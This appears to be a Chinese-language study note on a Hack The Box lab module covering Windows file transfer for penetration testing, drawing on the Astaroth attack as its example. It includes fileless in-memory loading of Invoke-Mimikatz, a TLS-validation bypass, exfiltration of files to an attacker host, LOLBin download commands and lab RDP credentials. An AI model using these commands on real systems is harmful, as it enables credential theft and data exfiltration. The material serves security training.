Introduction

Windows操作系统在过去几年中不断发展,新版本为文件传输操作提供了不同的实用程序。了解Windows中的文件传输可以帮助攻击者和防御者。攻击者可以使用各种文件传输方法进行操作,避免被捕获。防御者可以了解这些方法是如何监控和创建相应的策略以避免被泄露的。让我们使用 Microsoft Astaroth Attack 博客文章作为高级持续威胁(APT)的例子。 这篇博客文章一开始就谈到了无文件威胁fileless threats。“无文件”一词表示威胁不是来自文件,而是使用系统中内置的合法工具来执行攻击。这并不意味着没有文件传输操作。如本节稍后所述,该文件不“存在”于系统中,而是在内存中运行。 Astaroth攻击通常遵循以下步骤:鱼叉式网络钓鱼电子邮件中的恶意链接导致LNK文件。双击时,LNK文件导致使用“/Format”参数执行WMIC工具( WMIC tool),从而允许下载和执行恶意JavaScript代码。反过来,JavaScript代码通过滥用Bitsadmin工具(Bitsadmin tool)来下载有效载荷。 所有有效载荷都使用Certutil工具进行了base64编码和解码,生成了一些DLL文件。然后使用regsvr32工具( regsvr32)加载其中一个解码的DLL,该DLL解密并加载其他文件,直到最终的有效负载Astaroth被注入到Userinit进程中。下面是攻击的图形描述。

image

这是一个很好的例子,说明了文件传输的多种方法以及威胁行为者使用这些方法绕过防御。 本节将讨论使用一些本机Windows工具进行下载和上载操作。在本模块的后面,我们将讨论Windows和Linux上的Living Off the Land二进制文件,以及如何使用它们执行文件传输操作。

Download Operations

PowerShell Base64 Encode & Decode

根据我们想要传输的文件大小,我们可以使用不需要网络通信的不同方法。如果我们可以访问终端,我们可以将文件编码为base64字符串,从终端复制其内容并执行反向操作,解码原始内容中的文件。让我们看看如何使用PowerShell实现这一点。 使用此方法的一个重要步骤是确保编码和解码的文件是正确的。我们可以使用md5sum,一个计算和验证128位MD5校验和的程序。MD5散列的作用是文件的紧凑数字指纹,这意味着一个文件在任何地方都应该有相同的MD5散列。让我们尝试传输一个示例ssh密钥。它可以是其他任何东西,从我们的Pwnbox到Windows目标。

Pwnbox Check SSH Key MD5 Hash

Tanin@htb[/htb]$ md5sum id_rsa

4e301756a07ded0a2dd6953abf015278  id_rsa

Pwnbox Encode SSH Key to Base64

Tanin@htb[/htb]$ cat id_rsa |base64 -w 0;echo

LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS    //<snip>

-w 0:输出为一行

我们可以复制此内容并将其粘贴到Windows PowerShell终端中,然后使用一些PowerShell函数对其进行解码。

PS C:\htb> [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CR \<SNIP> ktLS0tLQo="))

最后,我们可以使用 Get-FileHash cmdlet确认文件是否成功传输,该cmdlet与md5sum执行的操作相同。

PS C:\htb> Get-FileHash C:\Users\Public\id_rsa -Algorithm md5

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
MD5             4E301756A07DED0A2DD6953ABF015278                                       C:\Users\Public\id_rsa

PowerShell Web Downloads

大多数公司都允许HTTP和HTTPS出站流量通过防火墙,以提高员工的工作效率。利用这些传输方法进行文件传输操作非常方便。尽管如此,维权者可以使用网络过滤解决方案来阻止访问特定的网站类别,阻止下载文件类型(如.exe),或者只允许访问更受限制的网络中的白名单域列表。 PowerShell提供了许多文件传输选项。在任何版本的PowerShell中, System.Net.WebClient类都可以用于通过HTTP、HTTPS或FTP下载文件。下表 table介绍了从资源下载数据的WebClient方法:

Method Description
OpenRead Returns the data from a resource as a Stream.
OpenReadAsync Returns the data from a resource without blocking the calling thread.
DownloadData Downloads data from a resource and returns a Byte array.
DownloadDataAsync Downloads data from a resource and returns a Byte array without blocking the calling thread.
DownloadFile Downloads data from a resource to a local file.
DownloadFileAsync Downloads data from a resource to a local file without blocking the calling thread.
DownloadString Downloads a String from a resource and returns a String.
DownloadStringAsync Downloads a String from a resource without blocking the calling thread.

PowerShell DownloadFile Method

我们可以指定类名Net.WebClient和方法DownloadFile,参数对应于要下载的目标文件的URL和输出文件名。

PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')

PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'PowerViewAsync.ps1')

PowerShell DownloadString - Fileless Method

正如我们之前所讨论的,无文件攻击是通过使用一些操作系统函数下载有效负载并直接执行它来工作的。PowerShell还可以用于执行无文件攻击。我们可以使用 Invoke-Expression cmdlet或别名IEX直接在内存中运行PowerShell脚本,而不是将其下载到磁盘。

PS C:\htb> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')

IEX还接受管道输入。

PS C:\htb> (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX

PowerShell Invoke-WebRequest

从PowerShell 3.0起, Invoke-WebRequest cmdlet也可用,但下载文件的速度明显较慢。您可以使用别名iwr、curl和wget,而不是InvokeWebRequest的全名。

PS C:\htb> Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1

Harmj0y在here整理了一个PowerShell下载支架的广泛列表。

Common Errors with PowerShell

在某些情况下,Internet Explorer首次启动配置可能尚未完成,从而阻止下载。

这可以使用参数-UseBasicParsing绕过。

PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX

Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX

如果证书不受信任,PowerShell下载中的另一个错误与SSL/TLS安全通道有关。我们可以使用以下命令绕过该错误:

PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1
+ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException
PS C:\htb> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

SMB Downloads

在端口TCP/445上运行的服务器消息块协议(SMB协议)在运行Windows服务的企业网络中很常见。它使应用程序和用户能够在远程服务器之间传输文件。 我们可以使用SMB轻松地从我们的Pwnbox下载文件。我们需要在我们的Pwnbox中使用Impacket中的smbserver.py创建一个SMB服务器,然后使用复制、移动、PowerShell复制项或任何其他允许连接到SMB的工具。

Tanin@htb[/htb]$ sudo impacket-smbserver share -smb2support /tmp/smbshare

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

==

这个命令是在Linux系统上使用impacket-smbserver工具创建一个SMB共享服务器。下面是命令的解释:

sudo: sudo命令用于以超级用户或其他特权用户的身份运行命令。
impacket-smbserver: impacket-smbserver是一个基于Impacket库的工具,用于创建和模拟SMB(Server Message Block)服务器。
share: share是你给共享服务器起的名称,可以根据需要自定义。
-smb2support: -smb2support参数用于启用SMB2协议支持,以便客户端可以使用SMB2进行通信。
/tmp/smbshare: /tmp/smbshare是指要创建的共享目录的路径,可以根据需要选择不同的路径。
通过执行该命令,你创建了一个名为share的SMB共享服务器,并将其设置为支持SMB2协议。共享目录的路径为/tmp/smbshare。其他用户或设备可以通过SMB协议访问这个共享目录,并与其中的文件进行交互。请注意,在运行这个命令之前,确保你已经安装了impacket库,并具有适当的权限来创建共享服务器。

要将文件从SMB服务器下载到当前工作目录,我们可以使用以下命令:

Copy a File from the SMB Server

C:\htb> copy \\192.168.220.133\share\nc.exe

        1 file(s) copied.

新版本的Windows阻止未经身份验证的访客访问,正如我们在以下命令中看到的:

C:\htb> copy \\192.168.220.133\share\nc.exe

You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.

要在这种情况下传输文件,我们可以使用Impacket SMB服务器设置用户名和密码,并在windows目标计算机上装载SMB服务器:

Tanin@htb[/htb]$ sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Mount the SMB Server with Username and Password

C:\htb> net use n: \\192.168.220.133\share /user:test test

The command completed successfully.

C:\htb> copy n:\nc.exe
        1 file(s) copied.
这条命令是在 Windows 操作系统上使用的命令,用于映射网络驱动器到指定的共享文件夹。下面是命令的解释和用法:

net use n: \\192.168.220.133\share /user:test test

net use: 是 Windows 的一个命令,用于管理网络驱动器映射。
n:: 是你想要映射的驱动器号或者驱动器字母。可以选择未使用的字母作为驱动器号。
\\192.168.220.133\share: 是你要映射的共享文件夹的路径。在这个例子中,共享文件夹的路径是 \\192.168.220.133\share。
/user:test test: 是指定用户名和密码来访问共享文件夹。在这个例子中,用户名和密码都是 test。
执行这条命令后,如果用户名和密码正确,系统会尝试将网络驱动器 n: 映射到指定的共享文件夹 \\192.168.220.133\share。如果映射成功,你就可以通过驱动器 n: 来访问共享文件夹中的文件和文件夹。

请注意,命令中的 IP 地址和共享文件夹路径需要根据你的实际情况进行修改,确保与你要访问的共享文件夹的地址相匹配。另外,确保提供正确的用户名和密码来进行身份验证。	

FTP Downloads

另一种传输文件的方法是使用FTP(文件传输协议),它使用端口TCP/21和TCP/20。我们可以使用FTP客户端或PowerShell Net.WebClient从FTP服务器下载文件。 我们可以使用Python3-pyftpdlib模块在攻击主机中配置FTP服务器。可以使用以下命令进行安装: 安装FTP服务器

Tanin@htb[/htb]$ sudo pip3 install pyftpdlib
Tanin@htb[/htb]$ sudo python3 -m pyftpdlib --port 21

[I 2022-05-17 10:09:19] concurrency model: async
[I 2022-05-17 10:09:19] masquerade (NAT) address: None
[I 2022-05-17 10:09:19] passive ports: None
[I 2022-05-17 10:09:19] >>> starting FTP server on 0.0.0.0:21, pid=3210 <<<

设置FTP服务器后,我们可以使用Windows或PowerShell Net.WebClient中预装的FTP客户端执行文件传输。

Transfering Files from an FTP Server Using PowerShell

PS C:\htb> (New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'ftp-file.txt')

当我们在远程机器上获得shell时,我们可能没有交互式shell。如果是这种情况,我们可以创建一个FTP命令文件来下载一个文件。首先,我们需要创建一个包含要执行的命令的文件,然后使用FTP客户端使用该文件下载该文件。

Create a Command File for the FTP Client and Download the Target File

C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo GET file.txt >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> GET file.txt
ftp> bye

C:\htb>more file.txt
This is a test file

Upload Operations

还有一些情况,如密码破解、分析、泄露等,我们必须将文件从目标机器上传到攻击主机。我们可以使用与下载操作相同的方法,但现在用于上传。让我们看看如何以各种方式完成文件上传。

PowerShell Base64 Encode & Decode

我们看到了如何使用Powershell解码base64字符串。现在,让我们做相反的操作并编码一个文件,这样我们就可以在攻击主机上对其进行解码。

Encode File Using PowerShell

PS C:\htb> [Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ2<--snip--> gICAgICAgICAgbG9jYWxob3N0DQo=
PS C:\htb> Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash

Hash
----
3688374325B992DEF12793500307566D

我们复制这些内容并将其粘贴到我们的攻击主机中,使用base64命令对其进行解码,并使用md5sum应用程序确认传输是否正确。

PowerShell Web Uploads

PowerShell没有用于上载操作的内置函数,但我们可以使用Invoke-WebRequest或Invoke-RestMethod来构建上载函数。我们还需要一个接受上传的web服务器,这不是大多数常见web服务器实用程序中的默认选项。 对于我们的web服务器,我们可以使用 uploadserver,这是 HTTP.server module的扩展模块,其中包括一个文件上传页面。让我们安装它并启动Web服务器。

Installing a Configured WebServer with Upload

Tanin@htb[/htb]$ pip3 install uploadserver

Collecting upload server
  Using cached uploadserver-2.0.1-py3-none-any.whl (6.9 kB)
Installing collected packages: uploadserver
Successfully installed uploadserver-2.0.1
Tanin@htb[/htb]$ python3 -m uploadserver

File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

现在,我们可以使用PowerShell脚本 PSUpload.ps1,该脚本使用Invoke-WebRequest来执行上载操作。该脚本接受两个参数-File和-Uri,前者用于指定文件路径,后者用于上传文件的服务器URL。让我们尝试从Windows主机上传主机文件。

PowerShell Script to Upload a File to Python Upload Server

PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS C:\htb> Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

[+] File Uploaded:  C:\Windows\System32\drivers\etc\hosts
[+] FileHash:  5E7241D66FD77E9E8EA866B6278B2373

PowerShell Base64 Web Upload

使用PowerShell和base64编码文件进行上载操作的另一种方法是将Invoke-WebRequest或Invoke-RestMethod与Netcat一起使用。我们使用Netcat来监听我们指定的端口,并将文件作为POST请求发送。最后,我们复制输出并使用base64解码函数将base64字符串转换为文件。

PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\htb> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64

SMB Uploads

我们之前讨论过,公司通常允许使用HTTP(TCP/80)和HTTPS(TCP/443)协议进行出站流量。通常,企业不允许SMB协议(TCP/445)离开其内部网络,因为这会使他们面临潜在的攻击。有关此方面的更多信息,我们可以阅读Microsoft的文章“防止SMB流量从横向连接进入或离开网络”。 另一种选择是使用WebDav通过HTTP运行SMB。WebDAV(RFC 4918)是HTTP的扩展,HTTP是网络浏览器和网络服务器用来相互通信的互联网协议。WebDAV协议使Web服务器能够像文件服务器一样运行,支持协作内容创作。WebDAV也可以使用HTTPS。 当您使用SMB时,它将首先尝试使用SMB协议进行连接,如果没有可用的SMB共享,它将尝试使用HTTP进行连接。在下面的Wireshark捕获中,我们尝试连接到文件共享测试3,因为它没有发现任何SMB,所以它使用HTTP。

Image

Configuring WebDav Server

要设置我们的WebDav服务器,我们需要安装两个Python模块,wsgidav和cheroot(您可以在这里阅读更多关于此实现的信息:wsgidav github)。安装它们之后,我们在目标目录中运行wsgidav应用程序。

Installing WebDav Python modules

sudo pip install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous 

[sudo] password for plaintext: 
Running without configuration file.
10:02:53.949 - WARNING : App wsgidav.mw.cors.Cors(None).is_disabled() returned True: skipping.
10:02:53.950 - INFO    : WsgiDAV/4.0.1 Python/3.9.2 Linux-5.15.0-15parrot1-amd64-x86_64-with-glibc2.31
10:02:53.950 - INFO    : Lock manager:      LockManager(LockStorageDict)
10:02:53.950 - INFO    : Property manager:  None
10:02:53.950 - INFO    : Domain controller: SimpleDomainController()
10:02:53.950 - INFO    : Registered DAV providers by route:
10:02:53.950 - INFO    :   - '/:dir_browser': FilesystemProvider for path '/usr/local/lib/python3.9/dist-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
10:02:53.950 - INFO    :   - '/': FilesystemProvider for path '/tmp' (Read-Write) (anonymous)
10:02:53.950 - WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
10:02:53.950 - WARNING : Share '/' will allow anonymous write access.
10:02:53.950 - WARNING : Share '/:dir_browser' will allow anonymous read access.
10:02:54.194 - INFO    : Running WsgiDAV/4.0.1 Cheroot/8.6.0 Python 3.9.2
10:02:54.194 - INFO    : Serving on http://0.0.0.0:80 ...

Connecting to the Webdav Share

现在我们可以尝试使用DavWWWRoot目录连接到共享。

注意:DavWWWRoot是一个由Windows Shell识别的特殊关键字。您的WebDAV服务器上不存在这样的文件夹。DavWWWRoot关键字告诉Mini-Redirector驱动程序,该驱动程序处理您正在连接到WebDAV服务器根目录的WebDAV请求。 如果在连接到服务器时指定了服务器上存在的文件夹,则可以避免使用此关键字。例如:\192.168.49.128\sharefolder

Uploading Files using SMB

C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\

注意:如果没有SMB(TCP/445)限制,您可以使用impacket-smbserver,方法与我们为下载操作设置的方法相同。

FTP Uploads

使用FTP上传文件与下载文件非常相似。我们可以使用PowerShell或FTP客户端来完成操作。在使用Python模块pyftpdlib启动FTP服务器之前,我们需要指定选项–write,以允许客户端将文件上传到我们的攻击主机。

Tanin@htb[/htb]$ sudo python3 -m pyftpdlib --port 21 --write

/usr/local/lib/python3.9/dist-packages/pyftpdlib/authorizers.py:243: RuntimeWarning: write permissions assigned to anonymous user.
  warnings.warn("write permissions assigned to anonymous user.",
[I 2022-05-18 10:33:31] concurrency model: async
[I 2022-05-18 10:33:31] masquerade (NAT) address: None
[I 2022-05-18 10:33:31] passive ports: None
[I 2022-05-18 10:33:31] >>> starting FTP server on 0.0.0.0:21, pid=5155 <<<

现在,让我们使用PowerShell上载功能将文件上载到FTP服务器。

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

Create a Command File for the FTP Client to Upload a File

C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128

Log in with USER and PASS first.


ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> bye

备忘:

命令 描述
Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1 使用 PowerShell 下载文件
IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1') 使用 PowerShell 在内存中执行文件
Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64 使用 PowerShell 上传文件
bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe 使用 Bitsadmin 下载文件
certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe 使用 Certutil 下载文件
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh 使用 Wget 下载文件
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh 使用 cURL 下载文件
php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);' 使用 PHP 下载文件
scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip 使用 SCP 上传文件
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe 使用 SCP 下载文件
Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe" 使用 Chrome 用户代理的 Invoke-WebRequest

practice

target:10.129.201.55
RDP 到目标。使用您选择的方法将名为 upload_win.zip 的附加文件上传到目标。上传后,RDP 到框,解压缩存档,然后从命令行运行“哈希upload_win.txt”。提交生成的哈希作为答案。

先连接一下:

xfreerdp /v:10.129.201.55 /u:htb-student /p:HTB_@cademy_stdnt!

这里练习一下各种上传方法:

smb:

搭建服务器

# impacket-smbserver share -smb2support /home/tanin/test 

下载:

image-20230704170935108

FTP

搭建服务器:

python3 -m pyftpdlib --port 21

下载:

image-20230704171535023

也可以直接匿名ftp连接:

image-20230704172144763